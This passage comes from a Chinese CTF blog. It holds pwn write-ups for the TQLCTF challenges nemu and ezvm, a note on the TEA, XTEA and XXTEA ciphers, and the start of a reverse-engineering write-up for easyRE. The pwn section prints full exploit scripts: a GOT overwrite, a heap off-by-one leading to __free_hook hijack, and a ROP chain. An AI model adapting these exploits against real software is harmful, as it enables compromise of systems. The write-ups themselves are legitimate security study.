0x30)#接下来调用指令wcmd_w(one_gadget)\n\n指令w的关键汇编如下:\n.text:0000000000409602 mov rcx, cs:free_.text:0000000000409609 test rcx, rcx.text:000000000040960C jz loc_4096BC.text:0000000000409612 mov rdx, [rcx+8].text:0000000000409616 mov [rcx+30h], eax\n\neax是我们的参数低4位,而rcx则是free_。该函数会将free_取出,并在[rcx+30h]处放入eax,我们由此完成got表的篡改。\n最后只需要调用printf_chk函数即可。\n笔者自己的完整exp:\nfrom pwn import *context(arch='i386',os='linux',log_level = 'debug')p=process("./nemu")elf=ELF("./nemu")libc=elf.libcdef dbg(addr): gdb.attach(p,'b *({})\\nc\\n'.format(addr))def send_cmd(cmd): p.recvuntil('(nemu) ') p.sendline(cmd)def cmd_x(addr): cmd="x "+str(hex(addr)) send_cmd(cmd)def cmd_set(addr,context): cmd="set "+str(hex(addr))+" "+str(context) send_cmd(cmd)def cmd_w(addr): cmd="w "+str(hex(addr)) send_cmd(cmd)def recv_pad(): p.recvuntil("0x") p.recvuntil("0x") p.recvuntil("0x")pmem_end=0x8000000pmem_start=0x6A3B80free_=0x86A3FC0########### part 1 ###########cmd_x(pmem_end+0x40)recv_pad()heap_base=int(p.recv(8),16)-0x530print("heap_base:"+str(hex(heap_base)))target_chunk=heap_base+0x19770+0x10cmd_x(heap_base+(0x951d090-0x9504000)-pmem_start+0x18)recv_pad()libc_leak=int(p.recv(8),16)cmd_x(heap_base+(0x951d090-0x9504000)-pmem_start+0x18+4)recv_pad()libc_leak2=int(p.recv(8),16)libc_leak=(libc_leak2<<32)+libc_leaklibc_base=libc_leak-(0x7f575472db98-0x00007f5754369000)print("libc_base:"+str(hex(libc_base)))og = [0x4527a,0xf03a4,0xf1247]one_gadget=libc_base+og[0]printf_chk_got=elf.got["__printf_chk"]cmd_set(free_-pmem_start,printf_chk_got-0x30)cmd_w(one_gadget)#因为没输入参数而调用printf_chkcmd="w"send_cmd(cmd)p.interactive()\n\n\n题外话:笔者看了一下官方WP和Nu1L战队对本题的解法,脑洞大开,不得不感叹师傅们真的太强了……不过heap_base的思路来自于C4oy1师傅\n\nezvm第一次接触Unicorn,虽然之前也遇到过类似的题目,但当时受限于技术水平,连WP都不能很好的理解,这次算是正式接触这类模拟器了。\nUnicorn是一款成熟的开源CPU模拟器,本题通过该项目实现了一个简单的虚拟机。其main函数简化后的主要逻辑如下:(出于可读性考虑,所以简化代码后不考虑代码是否可执行)\n__int64 __fastcall main(__int64 a1, char **a2, char **a3){ puts("Send your code:"); v11 = get_input(&unk_54E0, 0x4000); v5 = 4660; v6 = 22136; puts("Emulate i386 code"); v10 = 0x7FFFFFFFE000LL; v7 = uc_open(4LL, 8LL, &v8); uc_mem_map(v8, 0x400000LL, 0x10000LL, 7LL); uc_mem_map(v8, 0x7FFFFFFEF000LL, 0x10000LL, 7LL); uc_mem_write(v8, 0x400000LL, &unk_54E0, v11 - 1) uc_hook_add(v8, v9, 2LL, handle_syscall, 0LL, 1LL,0LL,699LL);//UC_X86_INS_SYSCALL uc_reg_write(v8, 44LL, &v10); v7 = uc_emu_start(v8, 0x400000LL, v11 + 0x3FFFFF, 0LL, 0LL); uc_reg_read(v8, 22LL, &v5); uc_reg_read(v8, 24LL, &v6); printf(">>> ECX = 0x%x\\n", v5); printf(">>> EDX = 0x%x\\n", v6); uc_close(v8); return 0LL;}\n\n大致意思是:\n\n初始化一台模拟器,将用户输入的机器码映射到模拟器的0x400000地址处,然后注册一个syscall_hook,当模拟器内执行syscall指令时,调用hook中的实现。最后将模拟器的ecx和edx寄存器内容读出显示给用户。\n\nhandle_syscall函数简化后的逻辑如下:\nunsigned __int64 __fastcall handle_syscall(__int64 a1){ uc_reg_read(a1, 35LL, &reg_rax); if ( reg_rax == 1 ) system_write(a1); else if ( reg_rax == 2 ) system_open(a1); else if ( reg_rax == 3 ) system_close(a1); else if(reg_rax == 0) system_read(a1);}\n\n文件结构如下:\nstruct_fd struc ; (sizeof=0x48, mappedto_8)00000000 fileno dq ?00000008 name db 24 dup(?)00000020 malloc_buf dq ?00000028 malloc_size dq ?00000030 read_func dq ? 00000038 write_func dq ? 00000040 close_func dq ? 00000048 struct_fd ends\n\n另外,本题开启了沙箱,具体代码如下:\nprctl(38, 1LL, 0LL, 0LL, 0LL);prctl(22, 2LL, &v1);\n\n沙箱规则这里就不细究了,大致意思就是只能使用orw三个调用。\nsystem_open这里笔者只截取核心实现:fd_malloc\nsize_t __fastcall fd_malloc(const char *a1, unsigned __int64 a2){ unsigned __int64 size; // [rsp+0h] [rbp-20h] int i; // [rsp+14h] [rbp-Ch] int j; // [rsp+14h] [rbp-Ch] struct_fd *v6; // [rsp+18h] [rbp-8h] size = a2; for ( i = 0; i <= 15; ++i ) { if ( !strcmp(struct_file[i].name, a1) ) return struct_file[i].fileno; } if ( count_fd > 15 ) return 0xFFFFFFFFLL; if ( a2 > 0x400 ) size = 0x400LL; for ( j = 0; j <= 15 && struct_file[j].name[0]; ++j ) ; v6 = &struct_file[j]; v6->malloc_buf = malloc(size); strcpy(v6->name, a1); v6->read_func = malloc_read; v6->write_func = malloc_write; v6->close_func = malloc_close; v6->fileno = j; ++count_fd; v6->malloc_size = size; return v6->fileno;}\n\n注意到第22行的strcpy函数,它将a1按字节传入v6->name,根据文件结构可知,如果a1字符串足够长,就应该能从name溢出到malloc_buf,因为strcpy会一直拷贝直到src遇到’\\x00’字符为止。\n而在system_open函数中可以发现,a1的来源如下:\nchar name[56];uc_reg_read(a1, 39LL, &v3);uc_reg_read(a1, 0x2BLL, &size);if ( !uc_mem_read(a1, v3, name, 24LL) ){ v2 = fd_malloc(name, size); (uc_reg_write)(a1, 35LL, &v2);}\n\n此处的a1是模拟器本身,uc_reg_read会从edi和esi寄存器中分别读出数据放入v3和size,v3则是字符串指针,再通过uc_mem_read将指针处字符串读出,写入name数组。\n但值得注意的是,uc_mem_read最多读取24个字符,所以name只会有24个字符。\n同时我们可以知道,文件结构中的name字段也是24个字符,而strcpy函数会在dest字符串尾部用’\\x00’填充。因此,如果name填满24字节,就会有一个’\\x00’溢出到malloc_buf处导致off-by-one漏洞。\nfd_write同样只看关键部分:\nssize_t __fastcall fd_write(int fd, const void *buf, size_t size){ int i; // [rsp+2Ch] [rbp-4h] for ( i = 0; i <= 15; ++i ) { if ( struct_file[i].fileno == fd ) return struct_file[i].write_func(&struct_file[i].fileno, buf, size); } return 0xFFFFFFFFLL;}\n\nwrite_func是之前储存在文件结构中的函数指针,其实现如下:\nsize_t __fastcall malloc_write(struct_fd *fd, const void *buf, unsigned __int64 size_1){ unsigned __int64 size; // [rsp+28h] [rbp-8h] size = size_1; if ( size_1 > fd->malloc_size && size_1 > 0x400 ) size = 0x400LL; if ( size > fd->malloc_size ) fd->malloc_buf = realloc(fd->malloc_buf, size); fd->malloc_size = size; memcpy(fd->malloc_buf, buf, size); return size;}\n\n首先通过fileno找到对应的文件,然后用memcpy将buf中的内容拷贝到fd->malloc_buf中。\nsystem_readssize_t __fastcall fd_read(int a1, void *a2, size_t a3){ int i; // [rsp+2Ch] [rbp-4h] for ( i = 0; i <= 15; ++i ) { if ( struct_file[i].fileno == a1 ) return struct_file[i].read_func(&struct_file[i].fileno, a2, a3); } return 0xFFFFFFFFLL;}\n\nsize_t __fastcall malloc_read(struct_fd *fd, void *buf, size_t size){ size_t n; // [rsp+28h] [rbp-8h] n = size; if ( size > fd->malloc_size ) n = fd->malloc_size; memcpy(buf, fd->malloc_buf, n); return n;}\n\n通过memcpy将fd->malloc_buf的数据拷贝到buf里。\nsystem_close__int64 __fastcall fd_free(int a1){ int i; // [rsp+1Ch] [rbp-4h] for ( i = 0; i <= 15; ++i ) { if ( struct_file[i].fileno == a1 ) return struct_file[i].close_func(&struct_file[i]); } return 0xFFFFFFFFLL;}\n\n__int64 __fastcall malloc_close(struct_fd *fd){ if ( fd->malloc_buf ) free(fd->malloc_buf); memset(fd->name, 0, sizeof(fd->name)); fd->malloc_buf = 0LL; fd->malloc_size = 0LL; --count_fd; return 0LL;}\n\n释放fd->malloc_buf并置零,其他参数数据清空,全局fd计数器减一。\n但必须注意的是,对于stdin、stdout、stderr,它们有自己另外的处理函数:\nssize_t __fastcall sub_168E(_QWORD *a1, void *a2, size_t a3){ return read(*a1, a2, a3);}\n\nssize_t __fastcall sub_16C3(_QWORD *a1, const void *a2, size_t a3){ return write(*a1, a2, a3);}\n\nint __fastcall sub_166E(_QWORD *a1){ return close(*a1);}\n\n如果inode编号是这三个,就不会调用malloc_xxx了。\n利用分析整个程序关键的函数只有上面这几个,我们目前只发现了一个在open中的漏洞。\n首先我们能够溢出fd->malloc_buf,那么就能将对应地址释放,然后造成uaf。\n首先我们需要泄露libc基址。因为用户是没办法和虚拟机直接交互的,并且unicorn中模拟的程序与我们有着完全不同的地址空间,因此我们想要泄露用户层的地址就只能依托,因此直接通过字节码来获取数据是行不通的,因为我们的数据和它们的数据在理论上是隔离的。\n但有一个地方并没用隔离开,就是fd->malloc_buf,这个buf是从用户空间开辟出来的,里面会存有用户空间的数据。\n\n以下利用方式主要参考Nu1L战队给出的exp\n\n我们先试着随便放点可执行的机器码进去,然后看看此时的堆状态:\nx20 [ 3]: 0x55d984671e70 —▸ 0x55d984671ec0 —▸ 0x55d984671ee0 ◂— 0x00x30 [ 1]: 0x55d984671e90 ◂— 0x00x40 [ 2]: 0x55d984671290 —▸ 0x55d98466cb80 ◂— 0x00x70 [ 1]: 0x55d98466c540 ◂— 0x00xd0 [ 2]: 0x55d98466fb50 —▸ 0x55d984663c60 ◂— 0x00x240 [ 1]: 0x55d984671660 ◂— 0x00x310 [ 2]: 0x55d98466fc20 —▸ 0x55d9846649e0 ◂— 0x00x390 [ 1]: 0x55d9846712d0 ◂— 0x0fastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x55d984694a20 —▸ 0x7ff43a2bebe0 (main_arena+96) ◂— 0x55d984694a20smallbinsemptylargebins0x1400: 0x55d9846743c0 —▸ 0x7ff43a2bf220 (main_arena+1696) ◂— 0x55d9846743c0\n\n注意到unsortedbin和largebins此时是有内容的,而开辟是使用malloc,不会清空内容。那么我们只要通过system_open让fd->malloc_buf从unsortedbin或largebins中开辟内容,然后用write将它们写出来,就泄露了libc地址。\n#读入设备名sc += sys_read(0,get_name(0),0x20)#打开设备,让其从largebins中获取fd->malloc_buf的内存sc += sys_open(get_name(0),0xb0)#将fd->malloc_buf中残留的数据读出到缓冲区sc += sys_read(3,get_name(1),0x100)#将缓冲区的数据输出给用户sc += sys_write(1,get_name(1),8)\n\n尽管现在泄露了地址,但利用却有些困难。Unicorn是以外部链接库的方式被调用的,我们不清楚它在执行过程中调用了多少malloc和free(除非我们真的去阅读源代码了,但似乎不太现实),所以布置起来会有些麻烦。但还是有些特别的小技巧可用。\n观察之前的堆状态我们可以知道,有个别几个Bin像是不被库调用的,比如size=0x60/0x80/0xc0等,这些大小的chunk在Tcache bin中不存在,保守估计,我们能够找到一个完全由我们自己控制的大小块,这样就不需要担心因为调用库而被干扰了。\n在上面泄露地址时:\nsc += sys_open(get_name(0),0xb0)\n\n调用本行时,会申请0xc0大小的chunk,该chunk就很有可能不会被影响到。\n接下来的思路是:\n\n首先关闭inode 3,将0xc0的chunk释放到tcache bin,然后通过off-by-one溢出到该chunk的上方,然后write该chunk去向下覆盖其fd指针,这样就能在之后开辟chunk到该fd。\n我们可以让它是__free_hook,那么就能写成one_gadget或其他各种各样了(不过本题开启了沙箱,所以one_gadget不行,还是得老老实实orw拿出flag)。\n\n剩下的payload就不言而喻了,直接给出Nu1L师傅们的exp吧:(自己加了点注释)\nfrom pwn import *context.arch = 'amd64'context.log_level = 'debug'def read(fd,addr,size): sc = ''' xor eax,eax; push {}; pop rdi; mov rsi,{}; push {}; pop rdx; syscall; '''.format(fd,addr,size) return scdef write(fd,addr,size): sc = ''' push 1; pop rax; push {}; pop rdi; mov rsi,{}; push {}; pop rdx; syscall; '''.format(fd,addr,size) return scdef close(fd): sc = ''' push 3; pop rax; push {}; pop rdi; syscall; '''.format(fd) return scdef insert(name_addr,size): sc = ''' push 2; pop rax; mov rdi,{}; push {}; pop rsi; syscall; '''.format(name_addr,size) return scdef get_name(idx): return 0x7FFFFFFEF000+0x20*idx#a chunk size 0x20def dbg(addr): gdb.attach(p,'b *$rebase({})\\n'.format(addr))p = process("./easyvm",env={'LD_PRELOAD':'./libunicorn.so.1'})elf=ELF("./easyvm")libc=elf.libc##---------PART 1---------##sc = ''sc += read(0,get_name(0),0x20)sc += insert(get_name(0),0xb0)#3sc += read(3,get_name(1),0x100)sc += write(1,get_name(1),8)sc += read(0,get_name(2),0x20)sc += insert(get_name(2),0x100)#4sc += read(0,get_name(3),0x20)sc += insert(get_name(3),0xb0)#5sc += read(0,get_name(4),0x300)sc += close(5)sc += close(3)sc += write(4,get_name(4),0x38)sc += insert(get_name(0),0xb0)sc += insert(get_name(3),0xb8)sc += write(5,get_name(4)+0x38,0xb8)sc += 'mov rdx,0x100;'sc = asm(sc)p.sendlineafter('Send your code:',sc)##---------PART 2---------##name = '/dev/a'p.send(name)#open inode 3libc_base=u64(p.recvuntil("\\x7f")[-6:]+'\\x00\\x00')-(0x7f42d70db1f0-0x7f42d6eef000)print(hex(libc_base))libc.address=libc_base##---------PART 3---------##p.send('/dev/'.ljust(0x18,'b'))#off-by-one#open inode 4p.send('/dev/c')#open inode 5#free_hook-->read-->setcontext#setcontext->>read rop in bssrsp to bsspayload=p64(libc.address+0x0000000000154930)+p64(libc.sym['__free_hook']-0x10)+p64(libc.sym['setcontext']+61)sig = SigreturnFrame()sig.rsp = libc.bss(0x500)sig.rip = libc.sym['read']sig.rdi = 0sig.rsi = libc.bss(0x500)sig.rdx = 0x300sig = str(sig)payload += sig[0x28:]p.send('A'*0x28+p64(0x81)+p64(libc.sym['__free_hook'])+payload)##---------PART 4---------###create orw roppop_rdi = 0x0000000000026b72+libc.addresspop_rsi = 0x0000000000027529+libc.addresspop_rdx_r12 = 0x000000000011c371 + libc.addresspayload = p64(pop_rdi)+p64(libc.bss(0x600))+p64(pop_rsi)+p64(0)+p64(libc.sym['open'])payload +=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(libc.bss(0x700))+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(libc.sym['read'])payload +=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(libc.bss(0x700))+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(libc.sym['write'])payload = payload.ljust(0x100)+"./flag\\x00"p.send(payload)p.interactive()\n\n\n插画ID:62506385\n","categories":["CTF题记","Note"],"tags":["CTF","TQLCTF"]},{"title":"XXTEA加密流程分析","url":"/2021/03/17/xxtea/","content":"插图ID:87326553   \n代码与图解来自:https://www.jianshu.com/p/4272e0805da3\n    对于我这种相关知识欠缺的人来说,光是如此有些难以理解,因此基于该作者的图片与代码试着分析了一下实际的加密过程(也因为网上没能找到具体的文字描述过程,甚至图解的字符解释也没有,所以只能自己对着代码分析了)。\n图解:\n​\nC代码:\n#include <stdio.h> #include <stdint.h> #define DELTA 0x9e3779b9 #define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z))) void btea(uint32_t *v, int n, uint32_t const key[4]) { uint32_t y, z, sum; unsigned p, rounds, e; if (n > 1) /* Coding Part */ { rounds = 6 + 52/n; sum = 0; z = v[n-1]; do { sum += DELTA; e = (sum >> 2) & 3; for (p=0; p<n-1; p++) { y = v[p+1]; z = v[p] += MX; } y = v[0]; z = v[n-1] += MX; } while (--rounds); } else if (n < -1) /* Decoding Part */ { n = -n; rounds = 6 + 52/n; sum = rounds*DELTA; y = v[0]; do { e = (sum >> 2) & 3; for (p=n-1; p>0; p--) { z = v[p-1]; y = v[p] -= MX; } z = v[n-1]; y = v[0] -= MX; sum -= DELTA; } while (--rounds); } }\n\n\n 如果您要对照本文章实际调试,试着小窗吧。如下文字解释不会再引用图片。\n代码符号:\n    DELTA:算是该加密算法的一个特征值,为黄金分割数(5√-2)/2与232的乘积。实际上,该值不影响算法,但能很好的避免一些错误。该数值在其他算法中也常有运用。\n    MX:对照图例。暂时不知道其为什么的缩写。在本例中请对照加密图解,算是算法的一部分。\n    n:对应明文或密文的数组长度。(+n用于加密,-n用于解密。单纯是在代码实现时为了方便而如此设计罢了)\n    v:明文或密文数组。对应图解中的X\n    key:密钥数组。对应图解中的K\n    rounds:加密循环的轮数。\n    sum:对应图解中的D。\n    e:对应图解中的(D>>2)\n    p:本例中用作明文或密文数组的索引。\n    r:参照代码,类比p&3**(该符号在图中而不在代码中)。3的二进制编码为11,任何数与其与运算后,可能产生(00,01,10,11),对应(0,1,2,3)(但这种理解仍有问题,怀疑图解中的r所在位置不同时具有不同的意义)**\n图解符号:\n    方框:相加盒。将指向该盒的变量进行相加。\n    圆圈:异或盒。将指向该盒的变量进行异或。\n个人建议:\n    观看图解的时候,推荐自下而上,那样比较符合代码编写的流程。\n    其中涉及的数学原理是异或,因此具有可逆性。但对于一些变量的来历仍然不解(例如:Xω的含义尚且不明。r猜测对应了加密轮数)\n注释:\n    可以将图示当作一轮的加密过程。Xr所在的循环中的相加盒实际作用为将MZ与Xr相加后的结果赋予Xr。\n    代码中的y、z分别表示图例中的Xr-1与Xr+1,但需要注意的是,实际代码实现中,存在如下代码:\ny = v[p+1]; z = v[p] += MX;\n\n\n    也就是说,z既对应了图中的Xr,也对应了Xr+1;而y表示Xr-1,实际上是z的后一个元素。\n    (换一种说法就是,将y指向明文的下一位,z指向本次需要加密的明文元素。将z经过各种复杂的变化后,再将结果与原本的数据相加得到密文,将指针后移,重复同样的操作。)\n    仅对比图例有着相对别扭的说法,但这已经是笔者能在网上找到的可读性相对较好的一版代码了。\n-————————————————–\n    顺便也将TEA与XTEA的图解与代码留在这里,以方便查阅和帮助XXTEA加密的流程理解。\nTEA:\n​\n#include <stdio.h> #include <stdint.h> //加密函数 void encrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i < 32; i++) { /* basic cycle start */ sum += delta; v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); } /* end cycle */ v[0]=v0; v[1]=v1; } //解密函数 void decrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i<32; i++) { /* basic cycle start */ v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); sum -= delta; } /* end cycle */ v[0]=v0; v[1]=v1; } // v为要加密的数据// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位\n\n\nXTEA:\n​\n#include <stdio.h> #include <stdint.h> /* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */ void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9; for (i=0; i < num_rounds; i++) { v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); sum += delta; v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); } v[0]=v0; v[1]=v1; } void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds; for (i=0; i < num_rounds; i++) { v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); sum -= delta; v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); } v[0]=v0; v[1]=v1; }\n\n\n","categories":["Note","杂物间"],"tags":["TEA","密码学"]},{"title":"2019红帽杯 - easyRE 分析与自省","url":"/2021/06/24/2019redeasyre/","content":"​\n    稍微……有那么一点离谱\n    程序无壳,可以直接放入IDA,通过字符串找到如下函数:\n__int64 sub_4009C6(){ __int64 result; // rax int i; // [rsp+Ch] [rbp-114h] __int64 v2; // [rsp+10h] [rbp-110h] __int64 v3; // [rsp+18h] [rbp-108h] __int64 v4; // [rsp+20h] [rbp-100h] __int64 v5; // [rsp+28h] [rbp-F8h] __int64 v6; // [rsp+30h] [rbp-F0h] __int64 v7; // [rsp+38h] [rbp-E8h] __int64 v8; // [rsp+40h] [rbp-E0h] __int64 v9; // [rsp+48h] [rbp-D8h] __int64 v10; // [rsp+50h] [rbp-D0h] __int64 v11; // [rsp+58h] [rbp-C8h] char v12[13]; // [rsp+60h] [rbp-C0h] BYREF char v13[4]; // [rsp+6Dh] [rbp-B3h] BYREF char v14[19]; // [rsp+71h] [rbp-AFh] BYREF char v15[32]; // [rsp+90h] [rbp-90h] BYREF int v16; // [rsp+B0h] [rbp-70h] char v17; // [rsp+B4h] [rbp-6Ch] char v18[72]; // [rsp+C0h] [rbp-60h] BYREF unsigned __int64 v19; // [rsp+108h] [rbp-18h] v19 = __readfsqword(0x28u); qmemcpy(v12, "Iodl>Qnb(ocy", 12); v12[12] = 127; qmemcpy(v13, "y.i", 3); v13[3] = 127; qmemcpy(v14, "d`3w}wek9{iy=~yL@EC", sizeof(v14)); memset(v15, 0, sizeof(v15)); v16 = 0; v17 = 0; sub_4406E0(0LL, v15, 37LL); v17 = 0; if ( sub_424BA0(v15) == 36 ) { for ( i = 0; i < (unsigned __int64)sub_424BA0(v15); ++i ) { if ( (unsigned __int8)(v15[i] ^ i) != v12[i] ) { result = 4294967294LL; goto LABEL_13; } } sub_410CC0("continue!"); memset(v18, 0, 0x40uLL); v18[64] = 0; sub_4406E0(0LL, v18, 64LL); v18[39] = 0; if ( sub_424BA0(v18) == 39 ) { v2 = sub_400E44(v18); v3 = sub_400E44(v2); v4 = sub_400E44(v3); v5 = sub_400E44(v4); v6 = sub_400E44(v5); v7 = sub_400E44(v6); v8 = sub_400E44(v7); v9 = sub_400E44(v8); v10 = sub_400E44(v9); v11 = sub_400E44(v10); if ( !(unsigned int)sub_400360(v11, off_6CC090) ) { sub_410CC0("You found me!!!"); sub_410CC0("bye bye~"); } result = 0LL; } else { result = 4294967293LL; } } else { result = 0xFFFFFFFFLL; }LABEL_13: if ( __readfsqword(0x28u) != v19 ) sub_444020(); return result;}\n\n\n     通过分析,我们可以把函数名修正为:\n v19 = __readfsqword(0x28u); qmemcpy(v12, "Iodl>Qnb(ocy", 12); v12[12] = 127; qmemcpy(v13, "y.i", 3); v13[3] = 127; qmemcpy(v14, "d`3w}wek9{iy=~yL@EC", sizeof(v14)); memset(v15, 0, sizeof(v15)); v16 = 0; v17 = 0; read(0LL, v15, 37LL); v17 = 0; if ( strlen(v15) == 36 ) { for ( i = 0; i < strlen(v15); ++i ) { if ( (v15[i] ^ i) != v12[i] ) { result = 4294967294LL; goto LABEL_13; } } printf("continue!"); memset(v18, 0, 0x40uLL); v18[64] = 0; read(0LL, v18, 64LL); v18[39] = 0; if ( strlen(v18) == 39 ) { v2 = base64encode(v18); v3 = base64encode(v2); v4 = base64encode(v3); v5 = base64encode(v4); v6 = base64encode(v5); v7 = base64encode(v6); v8 = base64encode(v7); v9 = base64encode(v8); v10 = base64encode(v9); v11 = base64encode(v10); if ( !sub_400360(v11, off_6CC090) ) { printf("You found me!!!"); printf("bye bye~"); } result = 0LL; } else { result = 4294967293LL; } } else { result = 0xFFFFFFFFLL; }LABEL_13: if ( __readfsqword(0x28u) != v19 ) sub_444020(); return result;}\n\n\n    有一处9层base64加密的字符串存在\n.rodata:00000000004A23A8 aVm0wd2vhuxhtwg db 'Vm0wd2VHUXhTWGhpUm1SWVYwZDRWVll3Wkc5WFJsbDNXa1pPVlUxV2NIcFhhMk0xV'.rodata:00000000004A23A8 ; DATA XREF: .data:off_6CC090↓o.rodata:00000000004A23A8 db 'mpKS1NHVkdXbFpOYmtKVVZtcEtTMUl5VGtsaVJtUk9ZV3hhZVZadGVHdFRNVTVYVW'.rodata:00000000004A23A8 db '01T2FGSnRVbGhhVjNoaFZWWmtWMXBFVWxSTmJFcElWbTAxVDJGV1NuTlhia0pXWWx'.rodata:00000000004A23A8 db 'ob1dGUnJXbXRXTVZaeVdrWm9hVlpyV1hwV1IzaGhXVmRHVjFOdVVsWmlhMHBZV1ZS'.rodata:00000000004A23A8 db 'R1lWZEdVbFZTYlhSWFRWWndNRlZ0TVc5VWJGcFZWbXR3VjJKSFVYZFdha1pXWlZaT'.rodata:00000000004A23A8 db '2NtRkhhRk5pVjJoWVYxZDBhMVV3TlhOalJscFlZbGhTY1ZsclduZGxiR1J5VmxSR1'.rodata:00000000004A23A8 db 'ZXSlZjRWhaTUZKaFZqSktWVkZZYUZkV1JWcFlWV3BHYTFkWFRrZFRiV3hvVFVoQ1d'.rodata:00000000004A23A8 db 'sWXhaRFJpTWtsM1RVaG9hbEpYYUhOVmJUVkRZekZhY1ZKcmRGTk5Wa3A2VjJ0U1Ex'.rodata:00000000004A23A8 db 'WlhTbFpqUldoYVRVWndkbFpxUmtwbGJVWklZVVprYUdFeGNHOVhXSEJIWkRGS2RGS'.rodata:00000000004A23A8 db 'nJhR2hTYXpWdlZGVm9RMlJzV25STldHUlZUVlpXTlZadE5VOVdiVXBJVld4c1dtSl'.rodata:00000000004A23A8 db 'lUWGhXTUZwell6RmFkRkpzVWxOaVNFSktWa1phVTFFeFduUlRhMlJxVWxad1YxWnR'.rodata:00000000004A23A8 db 'lRXRXTVZaSFVsUnNVVlZVTURrPQ==',0\n\n\n    解码后得到:\n\n“https://bbs.pediy.com/thread-254172.htm”\n\n    看来没有那么简单\nqmemcpy(v12, "Iodl>Qnb(ocy", 12);v12[12] = 127;qmemcpy(v13, "y.i", 3);v13[3] = 127;qmemcpy(v14, "d`3w}wek9{iy=~yL@EC", sizeof(v14));\n\n\n    这里还有一个显然特殊的字符串\n    v12、v13、v14在内存中是连续的,通过第二和第四行的赋值操作将‘\\0’抹去,使得他们连成一整个字符串(但本来是‘\\0’的地方现在被填充了,所以字符串增加了两个字节)\nBYTE ke1[14] = "Iodl>Qnb(ocy";char ke2[5] = "y.i";char ke3[20] = "d`3w}wek9{iy=~yL@EC";for (int i = 0; i < 13; i++){ke1[i] ^= i;if (i == 12)ke1[12] = 127 ^ i;}cout << ke1;for (int i = 0; i < 4; i++){ke2[i] ^= (i + 13);if (i == 3){ke2[3] = 127 ^ (i + 13);}}cout << ke2;for (int i = 0; i < 19; i++){ke3[i] ^= (i + 17);}cout << ke3;\n\n\n解密之后得到:\n\nInfo:The first four chars are `flag`\n\n    现在暂时无法理解它的意义,好像什么都没说一样,但实际上是个必要的提示\n     自以上分析,sub_4009C6函数似乎已经没有其他信息可以获取了\n​\n    这个体量的函数列表显然也不太能够一个个去检查 \n    再次从字符串搜索入手:\n.data:00000000006CC090 off_6CC090 dq offset aVm0wd2vhuxhtwg.data:00000000006CC090 ; DATA XREF: sub_4009C6+31B↑r.data:00000000006CC090 ; "Vm0wd2VHUXhTWGhpUm1SWVYwZDRWVll3Wkc5WFJ"....data:00000000006CC098 align 20h.data:00000000006CC0A0 ; char byte_6CC0A0[3].data:00000000006CC0A0 byte_6CC0A0 db 40h, 35h, 20h, 56h, 5Dh, 18h, 22h, 45h, 17h, 2Fh, 24h.data:00000000006CC0A0 ; DATA XREF: sub_400D35+95↑r.data:00000000006CC0A0 ; sub_400D35+C1↑r ....data:00000000006CC0A0 db 6Eh, 62h, 3Ch, 27h, 54h, 48h, 6Ch, 24h, 6Eh, 72h, 3Ch.data:00000000006CC0A0 db 32h, 45h, 5Bh\n\n\n     从那个9层base64的字符串向上查找,来到此处,发现在下面还有一个特殊的数组(没做成数组之前很是明显,我将它们打成组了)\n​\n     这个函数通过sub_402080,也就是init函数中的函数数组来初始化\nunsigned __int64 sub_400D35(){ unsigned __int64 result; // rax unsigned int v1; // [rsp+Ch] [rbp-24h] int i; // [rsp+10h] [rbp-20h] int j; // [rsp+14h] [rbp-1Ch] unsigned int v4; // [rsp+24h] [rbp-Ch] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(050u); v1 = sub_43FD20(0LL) - qword_6CEE38; for ( i = 0; i <= 1233; ++i ) { sub_40F790(v1); sub_40FE60(); sub_40FE60(); v1 = sub_40FE60() ^ 0x98765432; } v4 = v1; if ( ((unsigned __int8)v1 ^ byte_6CC0A0[0]) == 0x66 && (HIBYTE(v4) ^ byte_6CC0A0[3]) == 0x67 ) { for ( j = 0; j <= 24; ++j ) sub_410E90(byte_6CC0A0[j] ^ *((_BYTE *)&v4 + j % 4)); } result = __readfsqword(0x28u) ^ v5; if ( result ) sub_444020(); return result;}\n\n\n    第一个for循环对v1变量进行初始化,得到一个定值;\n    第二个for循环中将上述的特殊数组做循环一次异或;\n    至于sub_410E90、sub_40F790、sub_40FE60函数则由于过于复杂,或许是系统函数,便不做分析,选择性忽视过去\n    同时,第二个for循环中的异或数是 v4的某个BYTE位,而v4是一个int类型的4BYTE数据\n    那么我们现在需要做的应该是获取这个v4或v1\n    在if条件中,我们可以发现:\n    v1的第一个BYTE与byte_6CC0A0[0]异或结果位‘f’;\n    v4的最后一个BYTE与byte_6CC0A0[3]异或结果位‘g’\n    根据:\n\nInfo:The first four chars 